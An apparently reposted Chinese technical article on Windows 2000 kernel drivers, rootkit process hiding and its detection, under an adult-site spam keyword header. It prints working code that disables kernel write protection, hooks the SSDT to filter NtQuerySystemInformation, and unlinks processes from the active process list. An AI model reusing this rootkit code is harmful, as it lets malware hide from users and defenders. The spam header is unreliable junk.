在线观看av毛片亚洲_伊人久久大香线蕉成人综合网_一级片黄色视频播放_日韩免费86av网址_亚洲av理论在线电影网_一区二区国产免费高清在线观看视频_亚洲国产精品久久99人人更爽_精品少妇人妻久久免费

首頁 > 文章中心 > 正文

內(nèi)核級進(jìn)程技術(shù)

前言:本站為你精心整理了內(nèi)核級進(jìn)程技術(shù)范文,希望能為你的創(chuàng)作提供參考價(jià)值,我們的客服老師可以幫助你提供個(gè)性化的參考范文,歡迎咨詢。

內(nèi)核級進(jìn)程技術(shù)

論文關(guān)鍵字:內(nèi)核攔截活動(dòng)進(jìn)程鏈表系統(tǒng)服務(wù)派遣表線程調(diào)度鏈驅(qū)動(dòng)程序簡介

論文摘要:信息對抗是目前計(jì)算機(jī)發(fā)展的一個(gè)重要的方向,為了更好的防御,必須去深入的了解敵人進(jìn)攻的招式。信息對抗促使信息技術(shù)飛速的發(fā)展。下面我選取了信息對抗技術(shù)的中一個(gè)很小一角關(guān)于windows內(nèi)核級病毒隱藏技術(shù)和反病毒偵測技術(shù)作為議題詳細(xì)討論。

1.為什么選驅(qū)動(dòng)程序

驅(qū)動(dòng)程序是運(yùn)行在系統(tǒng)信任的Ring0環(huán)境下在代碼,她擁有對系統(tǒng)任何軟件和硬件的訪問權(quán)限。這意味著內(nèi)核驅(qū)動(dòng)可以訪問所有的系統(tǒng)資源,可以讀取所有的內(nèi)存空間,而且也被允許執(zhí)行CPU的特權(quán)指令,如,讀取CPU控制寄存器的當(dāng)前值等。而處于用戶模式下的程序如果試圖從內(nèi)核空間中讀取一個(gè)字節(jié)或者試圖執(zhí)行像MOVEAX,CR3這樣的匯編指令都會(huì)被立即終止掉。不過,這種強(qiáng)大的底線是驅(qū)動(dòng)程序的一個(gè)很小的錯(cuò)誤就會(huì)讓整個(gè)系統(tǒng)崩潰。所以對隱藏和反隱藏技術(shù)來說都提供了一個(gè)極好的環(huán)境。但是又對攻擊者和反查殺者提出了更高的技術(shù)要求。

2.入口例程DriverEntry

DriverEntry是內(nèi)核模式驅(qū)動(dòng)程序主入口點(diǎn)常用的名字,她的作用和main,WinMain,是一樣的。

extern"C"NTSTATUSDriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)

{...}

DriverEntry的第一個(gè)參數(shù)是一個(gè)指針,指向一個(gè)剛被初始化的驅(qū)動(dòng)程序?qū)ο螅搶ο缶痛砟愕尿?qū)動(dòng)程序,DriverEntry的第二個(gè)參數(shù)是設(shè)備服務(wù)鍵的鍵名。DriverEntry函數(shù)返回一個(gè)NTSTATUS值。NTSTATUS實(shí)際就是一個(gè)長整型,但你應(yīng)該使用NTSTATUS定義該函數(shù)的返回值而不是LONG,這樣代碼的可讀性會(huì)更好。大部分內(nèi)核模式支持例程都返回NTSTATUS狀態(tài)代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。

DriverEntry的作用主要就是創(chuàng)建設(shè)備對象,建立設(shè)備對象的符號鏈接,設(shè)置好各個(gè)類型的回調(diào)函數(shù)等。

例如:

extern"C"

NTSTATUS

DriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)

{

DriverObject->DriverUnload=DriverUnload;<--1

DriverObject->DriverExtension->AddDevice=AddDevice;

DriverObject->DriverStartIo=StartIo;

DriverObject->MajorFunction[IRP_MJ_PNP]=DispatchPnp;<--2

DriverObject->MajorFunction[IRP_MJ_POWER]=DispatchPower;

DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL]=DispatchWmi;

...

}

在WDM中通過設(shè)置AddDevice回調(diào)函數(shù)來創(chuàng)建設(shè)備對象。在NT驅(qū)動(dòng)中在DriverEntry例程中創(chuàng)建設(shè)備對象和符號鏈接。

例如:

RtlInitUnicodeString(&deviceNameUnicodeString,deviceNameBuffer);//初始化設(shè)備名字

//創(chuàng)建設(shè)備

ntStatus=IoCreateDevice(DriverObject,

0,

&deviceNameUnicodeString,

##DeviceId,

0,

FALSE,

&deviceObject

);

if(NT_SUCCESS(ntStatus)){

RtlInitUnicodeString(&deviceLinkUnicodeString,deviceLinkBuffer);//初始化符號鏈接名字

//創(chuàng)建符號鏈接

ntStatus=IoCreateSymbolicLink(&deviceLinkUnicodeString,&deviceNameUnicodeString);

if(!NT_SUCCESS(ntStatus)){

IoDeleteDevice(deviceObject);//如果創(chuàng)建符號鏈接失敗,刪除設(shè)備

returnntStatus;

}

}

建立符號鏈接的作用就是暴露一個(gè)給應(yīng)用程序的接口,應(yīng)用程序可以通過CreateFileAPI打開鏈接符號,得到一個(gè)語柄,和我們的驅(qū)動(dòng)程序進(jìn)行交互操作。

3.Unload例程

雖然各個(gè)驅(qū)動(dòng)程序的Unload例程不盡相同,但是它大致執(zhí)行下列工作:

釋放屬于驅(qū)動(dòng)程序的任何硬件。

從Win32的名字空間移除符號連接名。

這個(gè)動(dòng)作可以調(diào)用IoDeleteSymbolicLink來實(shí)現(xiàn)。

使用IoDeleteDevice移除設(shè)備對象。

釋放驅(qū)動(dòng)程序持有的任何緩沖池等。

VOIDDriverUnload(INPDRIVER_OBJECTpDriverObject)

{

PDEVICE_OBJECTpNextObj;

//循環(huán)每一個(gè)驅(qū)動(dòng)過程控制的設(shè)備

pNextObj=pDriverObject->DeviceObject;

while(pNextObj!=NULL)

{

//從設(shè)備對象中取出設(shè)備Extension

PDEVICE_EXTENSIONpDevExt=(PDEVICE_EXTENSION)extObj->DeviceExtension;

//取出符號連接名

UNICODE_STRINGpLinkName=pDevExt->ustrSymLinkName;

IoDeleteSymbolicLink(&pLinkName);//刪除符號連接名

IoDeleteDevice(pNextObj);//刪除設(shè)備

pNextObj=pNextObj->NextDevice;

}

}

4.派遣例程

Win2000的I/O請求是包驅(qū)動(dòng)的,當(dāng)一個(gè)I/O請求開始,I/O管理器先創(chuàng)建一個(gè)IRP去跟蹤這個(gè)請求,另外,它存儲(chǔ)一個(gè)功能代碼在IRP的I/O堆棧區(qū)的MajorField域中來唯一的標(biāo)識請求的類型。MajorField域是被I/O管理器用來索引驅(qū)動(dòng)程序?qū)ο蟮腗ajorFunction表,這個(gè)表包含一個(gè)指向一個(gè)特殊I/O請求的派遣例程的功能指針,如果驅(qū)動(dòng)程序不支持這個(gè)請求,MajorFunction表就會(huì)指向I/O管理器函數(shù)_IopInvalidDeviceRequest,該函數(shù)返回一個(gè)錯(cuò)誤給原始的調(diào)用者。驅(qū)動(dòng)程序的作者有責(zé)任提供所有的驅(qū)動(dòng)程序支持的派遣例程。所有的驅(qū)動(dòng)程序必須支持IRP_MJ_CREATE功能代碼,因?yàn)檫@個(gè)功能代碼是用來響應(yīng)Win32用戶模式的CreateFile調(diào)用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設(shè)備的句柄,類似的,驅(qū)動(dòng)程序必須支持IRP_MJ_CLOSE功能代碼,因?yàn)樗脕眄憫?yīng)Win32用戶模式的CloseHandle調(diào)用。順便提一下,系統(tǒng)自動(dòng)調(diào)用CloseHandle函數(shù),因?yàn)樵诔绦蛲顺龅臅r(shí)候,所有的句柄都沒有被關(guān)閉。

staticNTSTATUSMydrvDispatch(INPDEVICE_OBJECTDeviceObject,INPIRPIrp)

{

NTSTATUSstatus;

PIO_STACK_LOCATIONirpSp;

//得到當(dāng)前IRP(I/O請求包)

irpSp=IoGetCurrentIrpStackLocation(Irp);

switch(irpSp->MajorFunction)

{

caseIRP_MJ_CREATE:

DbgPrint("IRP_MJ_CREATE\n");

Irp->IoStatus.Status=STATUS_SUCCESS;

Irp->IoStatus.Information=0L;

break;

caseIRP_MJ_CLOSE:

DbgPrint("IRP_MJ_CLOSE\n");

Irp->IoStatus.Status=STATUS_SUCCESS;

Irp->IoStatus.Information=0L;

break;

}

IoCompleteRequest(Irp,0);

returnSTATUS_SUCCESS;

}

大部分的I/O管理器的操作支持一個(gè)標(biāo)準(zhǔn)的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴(kuò)展的I/O請求,使用用戶模式的DeviceIoControl函數(shù)來調(diào)用,I/O管理器創(chuàng)建一個(gè)IRP,這個(gè)IRP的MajorFunction和IoControlCode是被DeviceIoControl函數(shù)指定其內(nèi)容。傳遞給驅(qū)動(dòng)程序的IOCTL遵循一個(gè)特殊的結(jié)構(gòu),它有32-bit大小,DDK包含一個(gè)方便的產(chǎn)生IOCTL值的機(jī)制的宏,CTL_CODE??梢允褂肅TL_CODE宏來定義我們自己的IOCTL。

例如:

#defineIOCTL_MISSLEDEVICE_AIMCTL_CODE\

(FILE_DEVICE_UNKNOWN,0x801,METHOD_BUFFERED,FILE_ACCESS_ANY)

NTSTATUSDispatchIoControl(INPDEVICE_OBJECTpDO,INPIRPpIrp)

{

NTSTATUSstatus=STATUS_SUCCESS;

PDEVICE_EXTENSIONpDE;

PVOIDuserBuffer;

ULONGinSize;

ULONGoutSize;

ULONGcontrolCode;//IOCTL請求代碼

PIO_STACK_LOCATIONpIrpStack;//堆棧區(qū)域存儲(chǔ)了用戶緩沖區(qū)信息

pIrpStack=IoGetCurrentIrpStackLocation(pIrp);

//取出IOCTL請求代碼

controlCode=pIrpStack->Parameters.DeviceIoControl.IoControlCode;

//得到請求緩沖區(qū)大小

inSize=pIrpStack->Parameters.DeviceIoControl.InputBufferLength;

OutSize=pIrpStack->Parameters.DeivceIoControl.OutputBufferLength;

//現(xiàn)在執(zhí)行二次派遣

switch(controlCode)

{

caseIOCTL_MISSLEDEVICEAIM:

......

caseIOCTL_DEVICE_LAUNCH:

......

default://驅(qū)動(dòng)程序收到了未被承認(rèn)的控制代碼

status=STATUS_INVALID_DEVICE_REQUEST;

}

pIrp->IoStatus.Information=0;//數(shù)據(jù)沒有傳輸

IoCompleteRequest(pIrp,IO_NO_INCREMENT);

returnstatus;

}

5.驅(qū)動(dòng)程序的安裝

SC管理器(即服務(wù)控制管理器)可以控制服務(wù)和驅(qū)動(dòng)程序。

加載和運(yùn)行一個(gè)服務(wù)需要執(zhí)行的典型操作步驟:

1.調(diào)用OpenSCManager()以獲取一個(gè)管理器句柄

2.調(diào)用CreateService()來向系統(tǒng)中添加一個(gè)服務(wù)

3.調(diào)用StartService()來運(yùn)行一個(gè)服務(wù)

4.調(diào)用CloseServiceHandle()來釋放管理器或服務(wù)句柄

BOOLInstallDriver()

{

SC_HANDLEhSCManager=NULL;

hSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);

if(hSCManager==NULL)

{

fprintf(stderr,"OpenSCManager()failed.--err:%d\n",GetLastError());

returnFALSE;

}

SC_HANDLEschService;

schService=CreateService(hSCManager,//SCManagerdatabase

"MyDriver",//nameofservice

"MyDriver",//nametodisplay

SERVICE_ALL_ACCESS,//desiredaccess

SERVICE_KERNEL_DRIVER,//servicetype

SERVICE_AUTO_START,//starttype

SERVICE_ERROR_NORMAL,//errorcontroltype

DriverPath,//service’sbinary

NULL,//noloadorderinggroup

NULL,//notagidentifier

NULL,//nodependencies

NULL,//LocalSystemaccount

NULL//nopassword

);

if(schService==NULL)

{

if(GetLastError()==ERROR_SERVICE_EXISTS)

{

printf("Servicehasalreadyinstalled!\n");

}

printf("Installdriverfalse!");

returnFALSE;

}

BOOLnRet=StartService(schService,0,NULL);

if(!nRet)

{

if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)

{

printf("Serviceisalreadyrunning!\n");

returnFALSE;}

}

CloseServiceHandle(schService);

CloseServiceHandle(hSCManager);

returnTRUE;

}

以上對驅(qū)動(dòng)程序大致框架做了一個(gè)非常簡單的介紹,這僅僅是驅(qū)動(dòng)程序中的一個(gè)”HelloWorld!”。驅(qū)動(dòng)程序是相當(dāng)復(fù)雜的,由于我們只是利用驅(qū)動(dòng)程序的特權(quán),對windows內(nèi)核進(jìn)行修改,所以就不對驅(qū)動(dòng)驅(qū)動(dòng)程序進(jìn)行深入討論了。

通過HookSSDT(SystemServiceDispathTable)隱藏進(jìn)程

1.原理介紹:

Windows操作系統(tǒng)是一種分層的架構(gòu)體系。應(yīng)用層的程序是通過API來訪問操作系統(tǒng)。而API又是通過ntdll里面的核心API來進(jìn)行系統(tǒng)服務(wù)的查詢。核心API通過對int2e的切換,從用戶模式轉(zhuǎn)換到內(nèi)核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個(gè)函數(shù)KiSystemService()來實(shí)現(xiàn)的。在你使用了一個(gè)系統(tǒng)調(diào)用時(shí),必須首先裝載要調(diào)用的函數(shù)索引號到EAX寄存器中。把指向參數(shù)區(qū)的指針被保存在EDX寄存器中。中斷調(diào)用后,EAX寄存器保存了返回的結(jié)果。KiSystemService()是根據(jù)EAX的值來決定哪個(gè)函數(shù)將被調(diào)用。而系統(tǒng)在SSDT中維持了一個(gè)數(shù)組,專門用來索引特定的函數(shù)服務(wù)地址。在Windows2000中有一個(gè)未公開的由ntoskrnl.exe導(dǎo)出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應(yīng)于一個(gè)數(shù)據(jù)結(jié)構(gòu),定義如下:

typedefstructSystemServiceDescriptorTable

{

UINT*ServiceTableBase;

UINT*ServiceCounterTableBase;

UINTNumberOfService;

UCHAR*ParameterTableBase;

}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;

其中ServiceTableBase指向系統(tǒng)服務(wù)程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數(shù)地址,它們都包含了NumberOfService這么多個(gè)數(shù)組單元。在windows2000sp4中NumberOfService的數(shù)目是248個(gè)。

我們的任務(wù)管理器,是通過用戶層的API來枚舉當(dāng)前的進(jìn)程的。Ring3級枚舉的方法:

•PSAPI

–EnumProcesses()

•ToolHelp32

–Process32First()

-Process32Next()

來對進(jìn)程進(jìn)行枚舉。而她們最后都是通過NtQuerySystemInformation來進(jìn)行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實(shí)NtQuerySystemInformation返回的數(shù)進(jìn)行添加或者是刪改,就能有效的欺騙上層API。從而達(dá)到隱藏特定進(jìn)程的目的。

2.Hook

Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個(gè)DWORD類型的讀出來保存一個(gè)全局變量中然后再把她重新賦值成一個(gè)新的Hook函數(shù)的地址,就完成了Hook。

OldFuncAddress=KeServiceDescriptorTable->ServiceCounterTableBase[0x97];

KeServiceDescriptorTable->ServiceCounterTableBase[0x97]=NewFuncAddress;

在其他系統(tǒng)中這個(gè)號就不一定一樣。所以必須找一種通用的辦法來得到這個(gè)索引號。在《UndocumentNt》中介紹了一種辦法可以解決這個(gè)通用問題,從未有效的避免了使用硬編碼。在ntoskrnl導(dǎo)出的ZwQuerySystemInformation中包含有索引號的硬編碼:

kd>uZwQuerySystemInformation

804011aab897000000moveax,0x97

804011af8d542404leaedx,[esp+0x4]

804011b3cd2eint2e

804011b5c21000ret0x10

所以只需要把ZwQuerySystemInformation入口處的第二個(gè)字節(jié)取出來就能得到相應(yīng)的索引號了。例如:

ID=*(PULONG)((PUCHAR)ZwQuerySystemInformation+1);

RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]=HookZwQuerySystemInformation;

3.對NtQuerySystemInformation返回的數(shù)據(jù)進(jìn)行刪改

NtQuerySystemInformation的原型:

NtQuerySystemInformation(

INULONGSystemInformationClass,//查詢系統(tǒng)服務(wù)類型

INPVOIDSystemInformation,//接收系統(tǒng)信息緩沖區(qū)

INULONGSystemInformationLength,//接收信息緩沖區(qū)大小OUTPULONGReturnLength);//實(shí)際接收到的大小

NtQuerySystemInformation可以對系統(tǒng)的很多狀態(tài)進(jìn)行查詢,不僅僅是對進(jìn)程的查詢,通過SystemInformationClass號來區(qū)分功能,當(dāng)SystemInformationClass等于5的時(shí)候是在進(jìn)行進(jìn)程的查詢。此時(shí)返回的SystemInformation是一個(gè)_SYSTEM_PROCESSES結(jié)構(gòu)。

struct_SYSTEM_PROCESSES

{

ULONGNextEntryDelta;//下一個(gè)進(jìn)程信息的偏移量,如果為0表示無一個(gè)進(jìn)程信息

ULONGThreadCount;//線程數(shù)量

ULONGReserved[6];//

LARGE_INTEGERCreateTime;//創(chuàng)建進(jìn)程的時(shí)間

LARGE_INTEGERUserTime;//進(jìn)程中所有線程在用戶模式運(yùn)行時(shí)間的總和

LARGE_INTEGERKernelTime;//進(jìn)程中所有線程在內(nèi)核模式運(yùn)行時(shí)間的總和

UNICODE_STRINGProcessName;//進(jìn)程的名字

KPRIORITYBasePriority;//線程的缺省優(yōu)先級

ULONGProcessId;//進(jìn)程ID號

ULONGInheritedFromProcessId;//繼承語柄的進(jìn)程ID號

ULONGHandleCount;//進(jìn)程打開的語柄數(shù)量

ULONGReserved2[2];//

VM_COUNTERSVmCounters;//虛擬內(nèi)存的使用情況統(tǒng)計(jì)

IO_COUNTERSIoCounters;//IO操作的統(tǒng)計(jì),OnlyFor2000

struct_SYSTEM_THREADSThreads[1];//描述進(jìn)程中各線程的數(shù)組

};

當(dāng)NextEntryDelta域等于0時(shí)表示已經(jīng)到了進(jìn)程信息鏈的末尾。我們要做的僅僅是把要隱藏的進(jìn)程從鏈中刪除。

4.核心實(shí)現(xiàn)

//系統(tǒng)服務(wù)表入口地址

externPServiceDescriptorTableEntryKeServiceDescriptorTable;

NTSTATUSDriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)

{

……

__asm{

moveax,cr0

movCR0VALUE,eax

andeax,0fffeffffh//DisableWriteProtect

movcr0,eax

}

//取得原來ZwQuerySystemInformation的入口地址

RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]);

//Hook

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;

//EnableWriteProtect

__asm

{

moveax,CR0VALUE

movcr0,eax

}

……

returnSTATUS_SUCCESS;

}

VOIDDriverUnload(INPDRIVER_OBJECTpDriverObject)

{

……

//UnHook恢復(fù)系統(tǒng)服務(wù)的原始入口地址

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=RealZwQuerySystemInformation;

……

}

NTSTATUSHookFunc(

INULONGSystemInformationClass,

INPVOIDSystemInformation,

INULONGSystemInformationLength,

OUTPULONGReturnLength)

{

NTSTATUSrc;

struct_SYSTEM_PROCESSES*curr;

//保存上一個(gè)進(jìn)程信息的指針

struct_SYSTEM_PROCESSES*prev=NULL;

//調(diào)用原函數(shù)

rc=(RealZwQuerySystemInformation)(

SystemInformationClass,

SystemInformation,

SystemInformationLength,ReturnLength);

if(NT_SUCCESS(rc))

{

if(5==SystemInformationClass)

//如果系統(tǒng)查詢類型是SystemProcessesAndThreadsInformation

{

curr=(struct_SYSTEM_PROCESSES*)SystemInformation;

//加第一個(gè)偏移量得到第一個(gè)system進(jìn)程的信息首地址

if(curr->NextEntryDelta)((char*)curr+=curr->NextEntryDelta);

while(curr)

{

if(RtlCompareUnicodeString(&hide_process_name,&curr->ProcessName,1)==0)

{

//找到要隱藏的進(jìn)程

if(prev)

{

if(curr->NextEntryDelta)

{

//要?jiǎng)h除的信息在中間

prev->NextEntryDelta+=curr->NextEntryDelta;

}

else

{

//要?jiǎng)h除的信息在末尾

prev->NextEntryDelta=0;

}

}

else

{

if(curr->NextEntryDelta)

{

//要?jiǎng)h除的信息在開頭

(char*)SystemInformation+=curr->NextEntryDelta;

}

else

{

SystemInformation=NULL;

}

}

//如果鏈下一個(gè)還有其他的進(jìn)程信息,指針往后移

if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);else

{

curr=NULL;

break;

}

}

if(curr!=NULL)

{

//把當(dāng)前指針設(shè)置成前一個(gè)指針,當(dāng)前指針后移

prev=curr;

if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);

elsecurr=NULL;

}

}//endwhile(curr)

}

}

returnrc;

}

通過IOCTL和Ring3級的應(yīng)用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,

DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,

NULL,0,&BytesReturned,NULL)來通知驅(qū)動(dòng)程序要隱藏的進(jìn)程的名字。

枚舉和修改活動(dòng)進(jìn)程鏈表來檢測和隱藏進(jìn)程

1.介紹EPROCESS塊(進(jìn)程執(zhí)行塊)

每個(gè)進(jìn)程都由一個(gè)EPROCESS塊來表示。EPROCESS塊中不僅包含了進(jìn)程相關(guān)了很多信息,還有很多指向其他相關(guān)結(jié)構(gòu)數(shù)據(jù)結(jié)構(gòu)的指針。例如每一個(gè)進(jìn)程里面都至少有一個(gè)ETHREAD塊表示的線程。進(jìn)程的名字,和在用戶空間的PEB(進(jìn)程環(huán)境)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統(tǒng)空間中的。

2.查看EPROCESS結(jié)構(gòu)

kd>!processfields

!processfields

EPROCESSstructureoffsets:

Pcb:0x0

ExitStatus:0x6c

LockEvent:0x70

LockCount:0x80

CreateTime:0x88

ExitTime:0x90

LockOwner:0x98

UniqueProcessId:0x9c

ActiveProcessLinks:0xa0

QuotaPeakPoolUsage[0]:0xa8

QuotaPoolUsage[0]:0xb0

PagefileUsage:0xb8

CommitCharge:0xbc

PeakPagefileUsage:0xc0

PeakVirtualSize:0xc4

VirtualSize:0xc8

Vm:0xd0

DebugPort:0x120

ExceptionPort:0x124

ObjectTable:0x128

Token:0x12c

WorkingSetLock:0x130

WorkingSetPage:0x150

ProcessOutswapEnabled:0x154

ProcessOutswapped:0x155

AddressSpaceInitialized:0x156

AddressSpaceDeleted:0x157

AddressCreationLock:0x158

ForkInProgress:0x17c

VmOperation:0x180

VmOperationEvent:0x184

PageDirectoryPte:0x1f0

LastFaultCount:0x18c

VadRoot:0x194

VadHint:0x198

CloneRoot:0x19c

NumberOfPrivatePages:0x1a0

NumberOfLockedPages:0x1a4

ForkWasSuccessful:0x182

ExitProcessCalled:0x1aa

CreateProcessReported:0x1ab

SectionHandle:0x1ac

Peb:0x1b0

SectionBaseAddress:0x1b4

QuotaBlock:0x1b8

LastThreadExitStatus:0x1bc

WorkingSetWatch:0x1c0

InheritedFromUniqueProcessId:0x1c8

GrantedAccess:0x1cc

DefaultHardErrorProcessing0x1d0

LdtInformation:0x1d4

VadFreeHint:0x1d8

VdmObjects:0x1dc

DeviceMap:0x1e0

ImageFileName[0]:0x1fc

VmTrimFaultValue:0x20c

Win32Process:0x214

Win32WindowStation:0x1c4

3.什么是活動(dòng)進(jìn)程鏈表

EPROCESS塊中有一個(gè)ActiveProcessLinks成員,它是一個(gè)PLIST_ENTRY機(jī)構(gòu)的雙向鏈表。當(dāng)一個(gè)新進(jìn)程建立的時(shí)候父進(jìn)程負(fù)責(zé)完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個(gè)全局內(nèi)核變量PsActiveProcessHead鏈表中。在PspCreateProcess內(nèi)核API中能清晰的找到:

InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);

當(dāng)進(jìn)程結(jié)束的時(shí)候,該進(jìn)程的EPROCESS結(jié)構(gòu)當(dāng)從活動(dòng)進(jìn)程鏈上摘除。(但是EPROCESS結(jié)構(gòu)不一定就馬上釋放)。

在PspExitProcess內(nèi)核API中能清晰的找到:

RemoveEntryList(&Process->ActiveProcessLinks);

所以我們完全可以利用活動(dòng)進(jìn)程鏈表來對進(jìn)程進(jìn)行枚舉。

4.進(jìn)程枚舉檢測HookSSDT隱藏的進(jìn)程。

事實(shí)上NactiveAPIZwQuerySystemInformation對進(jìn)程查詢也是找到活動(dòng)進(jìn)程鏈表頭,然后遍歷活動(dòng)進(jìn)程鏈。最后把每一個(gè)EPROCESS中包含的基本信息返回(包括進(jìn)程ID名字等)。所以用遍歷活動(dòng)進(jìn)程鏈表的辦法能有效的把HookSSDT進(jìn)行隱藏的進(jìn)程輕而易舉的查出來。但是PsActiveProcessHead并沒被ntoskrnl.exe導(dǎo)出來,所以我們可以利用硬編碼的辦法,來解決這個(gè)問題。利用內(nèi)核調(diào)試器livekd查得PsActiveProcessHead的地址為:0x8046e460.(在2000sp4中得到的值)

kd>ddPsActiveProcessHeadL2

ddPsActiveProcessHeadL2

8046e46081829780ff2f4c80

PLIST_ENTRYPsActiveProcessHead=(PLIST_ENTRY)0x8046e460;

voidDisplayList()

{

PLIST_ENTRYList=PsActiveProcessHead->Blink;

while(List!=PsActiveProcessHead)

{

char*name=((char*)List-0xa0)+0x1fc;

DbgPrint("name=%s\n",name);

List=List->Blink;

}

}

首先把List指向表頭后的第一個(gè)元素。然后減去0xa0,因?yàn)檫@個(gè)時(shí)候List指向的并不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結(jié)構(gòu),而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進(jìn)程的名字信息,所以再加上0x1fc得到進(jìn)程名字,并且在Dbgview中打印出來。利用HookSSDT隱藏的進(jìn)程很容易就被查出來了。

5.解決硬編碼問題。

在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統(tǒng)中這值不一樣。在不同的SP版本中這個(gè)值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個(gè)PsActiveProcessHead的硬編碼的問題。

ntoskrnl.exe導(dǎo)出的PsInitialSystemProcess是一個(gè)指向system進(jìn)程的EPROCESS。這個(gè)結(jié)構(gòu)成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.

kd>ddPsInitialSystemProcessL1

ddPsInitialSystemProcessL1

8046e450818296e0

kd>!process818296e00

!process818296e00

PROCESS818296e0SessionId:0Cid:0008Peb:00000000ParentCid:0000

DirBase:00030000ObjectTable:8185d148TableSize:141.

Image:System

可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.

kd>dd818296e0+0xa0L2

dd818296e0+0xa0L2

81829780814d1a008046e460

上面又可以看出SystemEPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我們的PsActiveProcessHead.

6.刪除活動(dòng)進(jìn)程鏈表實(shí)現(xiàn)進(jìn)程隱藏

由于Windows是基于線程調(diào)度的。所以如果我們把要隱藏的進(jìn)程的EPROCESS塊從活動(dòng)進(jìn)程鏈上摘除,就能有效的繞過基于通過活動(dòng)進(jìn)程鏈表檢測進(jìn)程的防御系統(tǒng)。因?yàn)槭且跃€程為基本單位進(jìn)行調(diào)度,所以摘除過后并不影響隱藏進(jìn)程的線程調(diào)度。

voidDelProcessList()

{

PLIST_ENTRYList=PsActiveProcessHead->Blink;

while(List!=PsActiveProcessHead)

{

char*name=((char*)List-0xa0)+0x1fc;

if(!_stricmp(name,"winlogon.exe"))

{

DbgPrint("remove%s\n",name);

RemoveEntryList(List);

}

List=List->Blink;

}

}

首先和上面的程序一樣得到PsActiveProcessHead頭的后面第一個(gè)EPROCESS塊。然后和我們要隱藏的進(jìn)程名字進(jìn)行對比,如果不是指針延鏈下移動(dòng)。如果是就把EPROCESS塊從活動(dòng)進(jìn)程鏈上摘除。一直到遍歷完一次活動(dòng)進(jìn)程的雙向鏈表。當(dāng)摘除指定進(jìn)程的EPROCESS塊后可以發(fā)現(xiàn)任務(wù)管理器里面的指定的進(jìn)程消失了,然后又用上面的基于活動(dòng)進(jìn)程鏈表檢測進(jìn)程的程序一樣的發(fā)現(xiàn)不到隱藏的進(jìn)程。

基于線程調(diào)度鏈表的檢測和隱藏技術(shù)

1.什么是ETHREAD和KTHREAD塊

Windows2000是由執(zhí)行程序線程(ETHREAD)塊表示的,ETHREAD成員都是指向的系統(tǒng)空間,進(jìn)程環(huán)境塊(TEB)除外。ETHREAD塊中的第一個(gè)結(jié)構(gòu)體就是內(nèi)核線程(KTHREAD)塊。在KTHREAD塊中包含了windows2000內(nèi)核需要訪問的信息。這些信息用于執(zhí)行線程的調(diào)度和同步正在運(yùn)行的線程。

kd>!kthread

struct_KTHREAD(sizeof=432)

+000struct_DISPATCHER_HEADERHeader

+010struct_LIST_ENTRYMutantListHead

+018void*InitialStack

+01cvoid*StackLimit

+020void*Teb

+024void*TlsArray

+028void*KernelStack

+02cbyteDebugActive

+02dbyteState

+02ebyteAlerted[2]

+030byteIopl

+031byteNpxState

+032charSaturation

+033charPriority

+034struct_KAPC_STATEApcState

+034struct_LIST_ENTRYApcListHead[2]

+044struct_KPROCESS*Process

+04cuint32ContextSwitches

+050int32WaitStatus

+054byteWaitIrql

+055charWaitMode

+056byteWaitNext

+057byteWaitReason

+058struct_KWAIT_BLOCK*WaitBlockList

+05cstruct_LIST_ENTRYWaitListEntry

+064uint32WaitTime

+068charBasePriority

+069byteDecrementCount

+06acharPriorityDecrement

+06bcharQuantum

+06cstruct_KWAIT_BLOCKWaitBlock[4]

+0ccvoid*LegoData

+0d0uint32KernelApcDisable

+0d4uint32UserAffinity

+0d8byteSystemAffinityActive

+0d9bytePowerState

+0dabyteNpxIrql

+0dbbytePad[1]

+0dcvoid*ServiceTable

+0e0struct_KQUEUE*Queue

+0e4uint32ApcQueueLock

+0e8struct_KTIMERTimer

+110struct_LIST_ENTRYQueueListEntry

+118uint32Affinity

+11cbytePreempted

+11dbyteProcessReadyQueue

+11ebyteKernelStackResident

+11fbyteNextProcessor

+120void*CallbackStack

+124void*Win32Thread

+128struct_KTRAP_FRAME*TrapFrame

